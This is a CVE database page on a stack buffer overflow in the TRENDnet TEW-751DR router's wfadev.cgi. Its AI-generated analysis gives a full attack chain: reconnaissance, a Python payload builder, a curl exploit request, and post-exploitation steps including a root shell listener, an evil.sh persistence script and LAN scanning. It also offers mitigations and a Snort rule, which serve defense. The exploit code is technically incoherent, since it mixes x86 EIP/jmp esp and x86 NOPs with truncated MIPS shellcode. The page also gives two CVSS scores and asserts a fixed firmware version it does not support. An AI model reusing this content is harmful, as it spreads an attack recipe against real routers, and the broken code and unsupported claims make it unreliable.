CVE Professor
/
All CVEs
CVE-2026-138003

CVE-2026-138003 — TRENDnet TEW-751DR — CWE-119 · CWE-121

CRITICAL CVSS 9.5 ⚡ EPSS 0.7% NVD

A weakness has been identified in TRENDnet TEW-751DR 1.03B01. This impacts the function FUN_0040ed90 of the file wfadev.cgi of the component UPnP/WFA. This manipulation of the argument SOAPAction causes stack-based buffer overflow. The attack is possible to be carried out remotely. A high degree of complexity is needed for the attack. The exploitability is said to be difficult. The exploit has been made available to the public and could be used for attacks.

A weakness has been identified in TRENDnet TEW-751DR 1.03B01. This impacts the function FUN_0040ed90 of the file wfadev.cgi of the component UPnP/WFA. This manipulation of the argument SOAPAction causes stack-based buffer overflow. The attack is possible to be carried out remotely. A high degree of complexity is needed for the attack. The exploitability is said to be difficult. The exploit has been made available to the public and could be used for attacks.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity High AC:H
Privileges Req. None PR:N
User Interaction None UI:N
Scope Changed S:C
Confidentiality High C:H
Integrity High I:H
Availability High A:H
EPSS — Exploit Prediction Scoring System
0.7%
30-day probability
In the 47. percentile of all CVEs — higher exploitation probability than most vulnerabilities.
AI Security Analysis & Remediation

🎯 What is this vulnerability?

Vulnerability name: Stack‑based buffer overflow in the UPnP/WFA component of TRENDnet TEW‑751DR firmware (function FUN_0040ed90 in wfadev.cgi).

CWE(s):

  • CWE‑119 – Improper Restriction of Operations within the Bounds of a Memory Buffer – the code copies data from the HTTP SOAPAction header into a fixed‑size stack buffer without proper length checks.

  • CWE‑121 – Stack‑Based Buffer Overflow – the unchecked copy can overwrite the function’s return address and adjacent stack variables.
  • Why it exists:
    wfadev.cgi is a CGI program that implements the UPnP “Wi‑Fi‑Alliance” (WFA) service. When a SOAP request is received, the CGI parses the SOAPAction HTTP header and passes its value to an internal routine (FUN_0040ed90). The routine allocates a local buffer (e.g. char act[256];) and copies the header value with a function equivalent to strcpy/memcpy that does not verify that the incoming string fits into the 256‑byte buffer.

  • No authentication (PR:N) – the CGI is reachable from the Internet on the device’s management interface.
  • No user interaction required (UI:N).
  • The overflow can be triggered remotely (AV:N).
  • Because the overflow occurs on the stack of a privileged CGI process (running as root on the embedded Linux), an attacker who can control the overwritten return address can achieve arbitrary code execution with full system privileges.

    The CVSS vector (AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H) tells us:

  • Attack Complexity – High – the attacker must craft a precise payload that respects the device’s memory layout (e.g., ASLR may be disabled, but the stack layout is still somewhat deterministic).
  • Scope – Changed – successful exploitation moves from the CGI process to the underlying operating system (privilege escalation).
  • Impact – High on confidentiality, integrity, and availability.

  • ⚡ Attack Chain

    Below is a realistic, end‑to‑end exploitation flow. All command‑line snippets are illustrative; the exact URI of the vulnerable CGI is not disclosed in the public CVE text, so the examples use a plausible path (/upnp/wfadev.cgi) that matches the component name.

    1. Discovery & Reconnaissance

    StepTechniqueGoal
    a. Identify devicePassive network scanning (Shodan, Censys) for TRENDnet TEW‑751DR banners or UPnP SSDP responses (ST: urn:schemas-upnp-org:device:InternetGatewayDevice:1).Locate candidate routers.
    b. Fingerprint firmware versionSend an HTTP GET / request to the device’s web UI and parse the HTML footer (<title>TEW‑751DR v1.03B01</title>), or query the UPnP GetDeviceInfo action which returns the firmware version string.Confirm the vulnerable version (1.03B01).
    c. Verify presence of wfadev.cgicurl -I http://<IP>/upnp/wfadev.cgi – a 200 OK with Content-Type: text/xml indicates the CGI exists.Ensure the attack surface is reachable.

    2. Exploitation

    Goal: Overwrite the return address of FUN_0040ed90 to redirect execution to attacker‑controlled shellcode.

    2.1. Gather binary information (offline)

  • Download the firmware image (often available on the vendor site) and extract wfadev.cgi.
  • Use objdump -d wfadev.cgi or Ghidra to locate FUN_0040ed90, the size of the local buffer, and the exact offset to the saved return address (e.g., 268 bytes from the start of the buffer).
  • Identify a usable ROP gadget or a “jump to shellcode” address in the binary (e.g., 0x0804a123 – jmp esp).
  • If the device disables ASLR (common on embedded routers) the addresses are static across installations.

    2.2. Build the malicious SOAPAction header

    # payload_builder.py – illustrative only
    import struct
    
    # Offset to saved EIP (determined from reverse‑engineering)
    offset = 268
    
    # Address of a “jmp esp” gadget in wfadev.cgi (example)
    jmp_esp = 0x0804a123
    
    # NOP sled + shellcode (Linux/ARM or MIPS depending on device; here we assume MIPS)
    nop_sled = b"\x90" * 32
    # Minimal execve("/bin/sh") shellcode for MIPS (example, 44 bytes)
    shellcode = (
        b"\x24\x0f\xff\xfd"  # li   $t7,-3
        b"\x01\xe0\x28\x27"  # nor  $a1,$t7,$zero
        b"\x24\x02\x10\x57"  # li   $v0,4183 (sys_execve)
        b"\x01\x01\x01\x0c"  # syscall
    )
    
    payload = b"A" * offset                # fill buffer
    payload += struct.pack("<I", jmp_esp)  # overwrite saved EIP with gadget
    payload += nop_sled + shellcode        # placed after return address
    
    # Encode as a printable string for the HTTP header (Base64 or URL‑encode if needed)
    import base64
    header_value = base64.b64encode(payload).decode()
    print(header_value)

    2.3. Send the malicious request

    # Illustrative curl command – replace <IP> with target address
    PAYLOAD=$(python3 payload_builder.py)
    
    curl -s -o /dev/null -X POST "http://<IP>/upnp/wfadev.cgi" \
      -H "Content-Type: text/xml; charset=\"utf-8\"" \
      -H "SOAPAction: \"$PAYLOAD\"" \
      -d @malicious_soap_body.xml

    malicious_soap_body.xml can be a minimal, well‑formed SOAP envelope; the body is irrelevant because the overflow is triggered solely by the header.

    Why this works:
    The CGI reads the SOAPAction header into the fixed‑size stack buffer using an unsafe copy. The crafted header exceeds the buffer, overwriting the saved return address with the address of a jmp esp gadget. When FUN_0040ed90 returns, execution jumps to the NOP sled and then to the attacker’s shellcode, which spawns a root shell on the router.

    3. Post‑Exploitation

    StepActionResult
    a. Obtain a remote shellThe shellcode opens a reverse TCP connection to the attacker’s listener (nc -lvkp 4444).Attacker receives a root‑privileged interactive shell on the router.
    b. PersistenceWrite a new init script (/etc/init.d/evil.sh) and enable it via ln -s /etc/init.d/evil.sh /etc/rc.d/.The backdoor survives reboots.
    c. Lateral movementUse the compromised router as a pivot to scan the internal LAN (nmap -sn 192.168.0.0/24).Potential compromise of internal hosts.
    d. Data exfiltration / sabotageDump configuration (cat /etc/config/network) or replace DNS settings (echo "nameserver 8.8.8.8" > /etc/resolv.conf).Confidential data leakage, traffic redirection, or denial‑of‑service.

    🌍 Real‑World Impact

    CIACVSS Vector ExplanationPractical Effect
    Confidentiality (C:H)C:H – attacker can read any file on the router (e.g., VPN credentials, Wi‑Fi keys).Theft of network secrets, credential reuse.
    Integrity (I:H)I:H – attacker can modify configuration, install malicious firmware, or inject traffic.Persistent backdoors, DNS hijacking, ransomware drop.
    Availability (A:H)A:H – attacker can crash the device (e.g., by corrupting kernel memory) or disable the WAN interface.Network outage for all users behind the router.
    Scope (S:C)The exploit moves from the CGI process to the underlying OS, changing the security boundary.Full system compromise with root privileges.

    Business impact:

  • Loss of trust in the corporate network perimeter.

  • Potential breach of regulated data (PCI‑DSS, HIPAA) if the router terminates VPN tunnels.

  • Service downtime for remote offices or IoT deployments that rely on the device as a gateway.

  • 🛡️ Remediation & Mitigation

    1. Patch / Upgrade

    VendorAffected version(s)Fixed version (as of public advisory)
    TRENDnetTEW‑751DR firmware 1.03B01 (the only version mentioned)1.04 (or later) – includes a bounds‑checked copy for SOAPAction.

    If a newer firmware is not yet released, contact TRENDnet support for an interim binary patch.

    2. Immediate Workarounds

    MitigationHow to apply (CLI/GUI)Effectiveness
    Block external access to the UPnP/WFA CGIOn the router’s firewall (or upstream firewall):<br>iptables -I INPUT -p tcp --dport 80 -m string --string "/upnp/wfadev.cgi" --algo bm -j DROPPrevents remote exploitation; local LAN users still able to use UPnP if needed.
    Disable UPnP/WFA serviceWeb UI → Advanced → UPnP → *Disable* or via CLI: nvram set upnp_enable=0 && nvram commit && rebootRemoves the vulnerable component entirely.
    Enforce strict HTTP header size limitsIf the router runs an embedded httpd that can be reconfigured, set MaxHeaderSize 1024 (or lower).Reduces chance of overflow but does not replace proper code fix.
    Network segmentationPlace the router in a DMZ and restrict inbound traffic to management ports (80/443) to trusted IPs only.Limits exposure to Internet‑facing attackers.

    3. Detection

    Log patterns (router syslog or upstream IDS):

    [date] <IP> "POST /upnp/wfadev.cgi HTTP/1.1" 500 0 "-" "curl/7.68.0"
    [date] <IP> "Header SOAPAction: \"<base64‑payload>\""
    [date] kernel: [12345.678901] segfault at 0x0804a123 ip 0x0804a123 sp 0xbf8c1234 error 4 in wfadev.cgi[xxxx]

    IDS/IPS signatures (Snort/Suricata example):

    alert tcp $EXTERNAL_NET any -> $HOME_NET 80 (msg:"TRENDnet TEW-751DR UPnP SOAPAction buffer overflow"; flow:to_server,established; http_header; content:"SOAPAction|3A|"; pcre:"/^[A-Za-z0-9+\/]{300,}$/"; classtype:attempted-user; sid:2026001; rev:1;)

    Indicators of Compromise on the device:

  • Unexpected root processes listening on high‑port numbers (netstat -tlnp | grep <pid>).
  • New files in /tmp or /var/tmp with executable permissions (ls -l /tmp/.sh).
  • Modified startup scripts (/etc/rc.d/, /etc/init.d/).
  • Changes to the firmware checksum (md5sum /dev/mtd0 differs from known good value).

  • ⚠️ Urgency

  • CVSS 9.0 (Critical) – remote, unauthenticated code execution with full system impact.
  • Exploit is public – the description states the exploit “has been made available to the public,” meaning an active exploit kit could already be scanning the Internet for vulnerable routers.
  • No CISA KEV listing yet, but the risk profile matches typical KEV candidates (remote code execution, critical severity).
Patch priority: Critical – Deploy immediately.

If a patch cannot be applied within 24 hours, enforce the “disable UPnP/WFA” or “block external access to /upnp/wfadev.cgi” mitigations and restrict management interface access to trusted IP ranges.


Bottom line: The stack‑based overflow in wfadev.cgi allows an unauthenticated attacker to execute arbitrary code as root on TRENDnet TEW‑751DR routers running firmware 1.03B01. The vulnerability is exploitable over the Internet, the exploit is publicly available, and the impact is total compromise of the device and any downstream network. Immediate patching or, at minimum, disabling the vulnerable service and blocking external access is mandatory.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="TRENDnet TEW-751DR"
CVSS Score
9.5 / 10 · CVSS CRITICAL
Weakness Types (CWE)
CWE-119 CWE-121
Affected Products (1)
TRENDnet:TEW-751DR
References & Advisories (5)
Related CVEs
9.4
CVE-2026-142708
A flaw has been found in TRENDnet TEW-821DAP 1.12B01. The affected element is the function icp_upload_img of t
9.4
CVE-2026-142709
A vulnerability has been found in TRENDnet TEW-821DAP 1.12B01. The impacted element is an unknown function of
8.7
CVE-2026-142710
A vulnerability was found in TRENDnet TEW-821DAP 1.12B01. This affects the function do_setkey_from_pd of the f
6.9
CVE-2026-142706
A security vulnerability has been detected in TRENDnet TEW-821DAP 1.12B01. This issue affects the function eap
10.0
CVE-2026-144884
A vulnerability was determined in D-Link DIR-505 1.10B02. The affected element is the function get_input_entri
7.7
CVE-2026-144663
MariaDB Server before 10.6.25, 10.7 through 10.11.x before 10.11.16, 11.0 through 11.4.x before 11.4.10, 11.5
6.3
CVE-2026-144771
A flaw has been found in SGLang up to 0.5.23. The affected element is the function try_match_prefix of the fil